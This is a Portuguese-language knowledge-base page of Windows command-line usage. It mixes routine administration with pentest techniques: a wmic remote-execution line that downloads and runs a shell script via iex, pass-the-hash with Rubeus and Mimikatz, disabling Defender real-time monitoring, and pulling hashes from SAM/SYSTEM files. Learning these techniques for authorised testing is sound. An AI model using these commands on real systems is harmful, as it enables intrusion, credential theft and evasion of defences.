> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/sistemas-operacionais/windows/utilizacao.md).

# Utilização

### Comandos Básicos

Informações do SO

```bash
systeminfo

# Procura por toda linha que tem "Os" ou "Name"
systeminfo | findstr "Os Name"

# Pegando HotFix para sabermos até onde o SO está atualizada
wmic qfe get HotFixID,InstalledOn

# Quando se usar o "/C:", o findstr procura pela string completa e não por parte dela
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

# Enumerando driver e módulos do Kernel
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start Mode', Path

# Listando os drivers instalados
driverquery /v

# Informações sobre partições do disco
wmic volume get Label,DeviceID,DriveLetter, FileSystem,Capacity,FreeSpace

# Listando as variáveis de ambiente
set

# Programas que são iniciados junto com o SO
wmic startup get Caption,Command,Location,User

# Acessando registro
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\run"
```

Hostname do host

```bash
hostname
```

Informações de Hardware

```bash
wmic baseboard get product,Manufacturer,version,serialnumber
```

Usuário atual

```bash
whoami
echo %username%
```

Executando o prompt de comando com outro usuário. Pode ser qualquer usuário e qualquer executável, não precisa ser necessariamente o cmd. Após isso, basta inserir a senha do usuário.

```bash
runas.exe /user:<user> cmd
```

Embutindo mais de um comando em um linha

```bash
<comando1> & <comando2>
```

Paths de correção do SO

```bash
wmic qfe get Caption,Description,HotFixID,InstalledOn
```

Mostrando o diretório atual

```bash
pwd
echo %cd%
```

Removendo diretórios vazio

```bash
rmdir <directory>
```

Removendo diretórios que contém conteúdos

```bash
rmdir /s <directory>
```

Listando aplicativos instalados pelo Windows Installer

```bash
wmic product get name, version, vendor
```

Listando atualizações do sistema

```bash
wmic qfe get Caption, Description, HotFixID, InstalledOn
```

Verificando arquivos ocultos

```bash
attrib -s -h -r /s /d *.*
```

### Serviços

Restart

```bash
wmic service NAMEOFSERVICE call startservice
net stop <service> && net start <service>
sc start <service> ; net start <service>

Stop-Service <service> && Start-Service <service>
```

Configurando

```bash
# Desabilitando um serviço
Set-Service <service> -StartupType Disabled
```

Detalhes sobre um determinado serviço

```bash
sc qc <service>
```

Verificando status do serviço

```
sc query <service>
```

### Processos

Listando todos os processo

```bash
ps
tasklist
taslist /SVC

# No exemplo abaixo, estamos utilizando o serviço winlogin
wmic process list brief | find "winlogon"

# Verificando qual usuário está executando determinado serviço
tasklist /V | findstr <service>
```

Matando processo

```bash
taskkill /PID <number_pid> /F
taskkill -pid <pid>
```

### Schedule

Visualizando todas as tarefas agendadas

```bash
schtasks /query /fo LIST /v
```

### Redes

Informações básicas

```bash
ipconfig /all
route print
arp -A
```

Mapeando Unidade de Rede

```bash
net use z: \\<ip>\SYSVOL # Atribuindo a letra "z"
net use * \\<ip>\SYSVOL # Atribuindo a primeira letra disponível
net use z: \\<ip>\<directory> <pass> /user:<user> # Atribiundo a letra "z" e fornecendo os dados para realizar a autenticação
```

Acessando Unidade de Rede

```bash
net use \\<ip>\IPC$ "" /u:""
```

Removendo uma Unidade de Rede

```bash
net use z: /del
```

Removendo todas as Unidades de Rede

```
net use * /delete
```

#### Conexões

Abaixo, podemos lista todas as conexões remotas, assim seus processos, portas e PID.

```bash
netstat -ano
```

###

### Acessando Hosts Remotos

#### PSExec

Acessando localmente com a conta de outro usuário. Note que após isso, será necessário informar a senha

```bash
.\PsExec.exe <DOMAIN>\<user> cmd
```

Acessando o Domain Controller

```bash
.\PsExec.exe \\<hostname-dc> -u <DOMAIN>\<user> -p <pass> -h -i cmd
```

#### runas

```bash
runas /netonly /user:<domain.local>\<user> powershell
runas /user:<domain.local>\<user> powershell
```

#### PSRemoting / Enter-PSSession

PSRemoting vem habilitado por padrão nos Windows Servers (a partir do 2012) e em máquinas Windows 10, é preciso habilitar manualmente (vide comando abaixo) onde é preciso ter direitos de administrador local

```bash
Enable-PSRemoting -Force
```

Existe, duas maneiras de realizar o acesso via PSRemoting:

**`Sem Estado`** = Dessa maneira não segura uma sessão, por exemplo, se criar variáveis, sair e voltar nomente a acessar a máquina, as variáveis serão perdidas. Ao fazer isso, você irá estar logado na máquina alvo.

```bash
Enter-PSSession -Computer <hostname.domain.local>
```

**`Com Estado`** = Semelhante a forma anterior, porém esse pode manter uma sessão ativa (persistiva)

```bash
# Criando a conexão
$session = New-PSSession -ComputerName <hostname>
# Verificando se a conexão foi criada
$session
# Acessando o host
Enter-PSSession -Session $session
```

**OBS.:** Sempre que uma sessão for aberta pelo PSRemoting, é executado um novo processo em `wsmprovhost`.

#### Invoke-Command

Também podemos executar comandos em um determinado computador ou em um lista de computadores. Isso é útil para executar scripts de forma massiva. Substitua o `-ComputerName` por `-Session`, caso tenha sessões ativas (verifique acima como criar uma sessão).

```bash
# Executando comandos em uma determinada máquina
Invoke-Command -ComputerName <hostname.domain.local> -Credential <user> -ScriptBlock {<command>,<command>}

# Executando comandos em vários máquina através de wordlist
Invoke-Command -ScriptBlock {<comand>,<command>} -Credential <user> -ComputerName (Get-Content <hostname_wordlist.txt>)
```

Caso queira executar arquivos ps1 em uma máquina de destino, não é preciso fazer o upload do arquivo na máquina alvo, muito menos acessá-la e depois fazer o download. Para isso podemos fazer de forma remota, executando o arquivo em memória. Note que esse arquivo será executada na máquina do atacante e então será disponibilizada para a máquina alvo, então execute `Set-ExecutionPolicy` antes.

```bash
Invoke-Command -FilePath <C:\local\file.ps1> -ComputerName <hostname>
```

Para melhorar mais a vida do atacante, é possível carregar um script malicioso (por exemplo, o mimikatz) localmente e chamar a função remotamente. Sendo assim, nós carregamos todo o Mimikatz na máquina atacante e, na hora de executar o script (após ter carregado o ps1), vamos chamá-lo de fato, porém este vai ser executado remotamente na máquina alvo.

```bash
Invoke-Command -ComputerName <hostname.domain.local> -Credential <user> -ScriptBlock ${Function:<function>}
```

#### wmic

```bash
# Fazendo consulta remota para pegar informações
wmic /node:<ip_dc> computersystem get name,username,domain

# Executando arquivo remoto
wmic /node:<ip_dc> process call create "powershell.exe -nop -exe bypass iex(new-object net.webclient).downloadstring('http://<ip>/shell.ps1')"
```

#### rubeus

Altere o hash NTLM no final do comando

```bash
rubeus.exe asktgt /user:<user> /domain:<domain.local> /dc:<ip> /rc4:ff12e823a1638dee972fa3cb04156a2e
```

#### Mimikatz

Altere o hash NTLM no final do comando

```bash
mimikatz.exe sekurlsa::pth /domain:<domain.local> /user:<user> /rc4:ff12e823a1638dee972fa3cb04156a2e
```

###

### Windows Defender

Verificando todas configurações do Windows Defender

```bash
(Get-MpPreference)
```

Para verificar uma determinada configuração do Windows Defender, coloque o seu nome no sufixo do comando. No comando abaixo, utilizamos o `ExclusionPath` para saber em quais diretórios o Windows Defender não está atuando.

```
(Get-MpPreference).ExclusionPath
```

Para desabilitarmos a proteção em tempo real do Windows Defender, podemos utilizar o seguinte comando:

```bash
Set-MpPreference -DisableRealtimeMonitoring $true
```

### Gerenciando Usuários e Grupos

```bash
# Listando todos os usuário locais
net user

# Verificando todos os usuários (Locais e AD) e seus respectivos SID/RID
wmic useraccount list brief

# Lista todos os usuários do Domínio
net user /domain

# Vendo detalhes de um determinado usuário local
net user <user>

# Verificando detalhes de um usuário do Domínio
net user /domain <user>

# Desativando a conta de um usuários no Domínio
net user <user> /domain /active:no

# Visualiza todos os grupos do Domínio
net group /domain

# Vendo membros e grupos de domínio
net group /domain <group_name>



# Adicionando um usuário em um grupo do AD
net group "<group>" <user> /add /domain

# Removendo um usuário em um grupo do AD
net group "<group>" <user> /del /domain



# Criando usuário
net user <user> /add
net user <user> <password> /add
net user <user> <password> /add /domain


# Criando usuário (Powershell)
$securestring = convertto-securestring "<new_password>" -asplaintext -force
New-LocalUser '<new_user>' -Password $secure


# Alterando senha via comando no Windows
net user <usuario> <nova_senha>

# Deletando um usuário
net user <user> /delete

# Ativa o usuário <usuario>
net user <usuario> /active:yes

# Adicionando o Usuário ao grupo de Administrators
net localgroup administrators <user> /add
net localgroup administrators /add <user>
Add-LocalGroupMember -Name '<group_name>' -Member '<user>'

# Removendo o Usuário ao grupo de Administrators
net localgroup administrators <user> /delete



# Verifica quais os usuários que fazem parte do grupo Administrators
net localgroup Administrators

# Verifica quais os usuários que fazem parte do grupo
net localgroup /domain

# Quais usuários/grupos tem no SO
net users
net localgroup



# Verificando usuários logados computador atual
query session

# Verificando usuários logados computador remoto (necessário ter privilégio administrador)
query session /server:<host>
```

###

### Arquivos Importantes

`c:\Pagefile.sys` = Também chamado de memória virtual, é um arquivo criado pelo Windows para compensar a capacidade limitada da Memória RAM. Essa memória (no HD) será utilizada quando a RAM estiver cheia, semelhante ao SWAP do Linux

###

### Recuperando Senhas

Para recuperar a senha do Windows, precisamos de dois arquivos: `system` e `SAM`. Depois de ter esses dois arquivos, você pode extrair o hashed usando o `pwdump`, desta forma:

```bash
pwdump systemfile samfile
```

Os  arquivos `system` e  `SAM` podem ser encontrados em locais diferentes, então experimente todos eles. Em um servidor da Web, o caminho pode diferenciar maiúsculas e minúsculas, embora seja o Windows. Abaixo estão os caminhos mais comuns:

```bash
windows\repair\SAM
%SystemRoot%\system32\config\SAM
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```

{% hint style="info" %}
**ATENÇÃO.:** Para acessar o arquivo `SAM`, precisa estar como usuário `system`, pois nem o usuário **`administrador`** tem acesso a esse arquivo. No registro (regedit), podemos localizá-lo em **`HKEY_LOCAL_MACHINE\SAM`**.\
Nos Controladores de Domínio (Domain Controller), o arquivo está em **`%windir%\WindowsDS\ntds.dit`**
{% endhint %}

###

### Buscando por Paths de Serviços sem Aspas (Unquoted Service Paths)

```bash
# Usando WMIC
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\\" |findstr /i /v """

# Usando sc
sc query
sc query "<service>" STATE
sc qc service name
```

Procure `Binary_path_name` e veja se não está entre aspas. Se o caminho contiver um espaço e não for citado, o serviço estará vulnerável

### Liberando Acesso RDP no Firewall do Windows

```bash
netsh advfirewall add rule name="rdp" protocol=TCP dir=in localport=3389 action=allow
netsh advfirewall firewall add rule name="rdp" protocol=TCP dir=in localport=3389 action=allow
```

### Listando Drivers Instalados

```bash
driverquery

# Verificando a versão de determinado driver. Remova o filtro com Where-Object para retornar todos os drivers
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*Microsoft*"}
```